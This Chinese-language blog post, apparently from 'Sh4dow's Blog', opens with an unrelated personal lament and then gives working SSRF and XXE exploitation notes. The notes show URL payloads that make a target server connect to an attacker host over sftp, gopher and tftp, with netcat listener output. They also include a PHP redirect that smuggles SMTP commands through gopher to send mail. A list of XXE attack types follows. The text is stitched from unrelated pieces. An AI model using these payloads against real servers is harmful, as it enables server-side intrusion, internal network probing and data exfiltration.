活了二十几年,从来没有人给过我一次意外感动或惊喜,也没有人在我生日的时候给过我特别的礼物,生病的时候得到的只是一些不在身边的语言安慰,也不见谁真正的照顾过自己,甚至有的时候自己蒙头睡一觉就好了,也有人喜欢过我,但是从没见谁坚持过。
SSRF可行,同时XXE也同样的可以利用。这里只是一种思维方式。
0x01
SSH传输:(可用两个scp://, sftp://)
https://sh4d0w.lofter.com/url=sftp://sh4d0w.com:11111/
本地:
$ nc -v -l 11111
Connection from [xxx] port 11111 [tcp/*] accepted (family 2, sport 36136)SSH-2.0-libssh2_1.4.2
0x02
再XXE读取文件时,可能会遇到转行符。这样走传输协议http时,就会出现问题,当然可以用base64传输。有时,遇到java,就会比较尴尬。
这里就可以用GOPHER协议。
例子:
<?php header('Location: gopher://sh4d0w.com:12346/_HI%0AMultiline%0Atest');?>
这里会收到
nc -v -l 12346
Listening on [0.0.0.0] (family 0, port 12346)Connection from [xxx] port 12346 [tcp/*] accepted (family 2, sport 49398)
HI
Multiline
test
0x03
同样也可以走SMTP
------代码----
<?php
$commands = array(
'HELO test.org',
'MAIL FROM: <sh4dow@foxmail.com>',
'RCPT TO: <sh4dow@foxmail.com>',
'DATA',
'Test mail',
'.'
);
$payload = implode('%0A', $commands);
header('Location: gopher://test.smtp.org:25/_'.$payload);
?>
再次请求:
https://sh4d0w.lofter.com/url?url=https://sh4d0w.com/gopher2.php?rand=RAND
0x04 udp发包
可以用TFTP
https://sh4d0w.lofter.com/url?url=tftp://sh4d0w.com:12346/TESTUDPPACKET
nc -v -u -l 12346
Listening on [0.0.0.0] (family 0, port 12346)
TESTUDPPACKEToctettsize0blksize512timeout6
在传输大文件时,这种场景可能就要考虑超时的问题了,如果真的需要解决这个问题的话。可以使用FTP协议,不会超时。
DTD/XXE 一些使用方法。概括的比较全,实战篇
https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=402126750&idx=1&sn=8362b06670e7f117098310629ab6936d&scene=1&srcid=0306UfdqBFMhzuykegLzwBge&from=singlemessage&isappinstalled=0#wechat_redirect
攻击分类如下:
拒绝服务攻击(DDoS)
基本的 XXE 攻击
高级的 XXE 攻击
服务器端请求伪造攻击(SSRF)
XML 包含机制(XInclude)
扩展样式表转换语言(XSLT)
拒绝服务攻击(DDoS)
© Sh4dow's Blog | Powered by LOFTER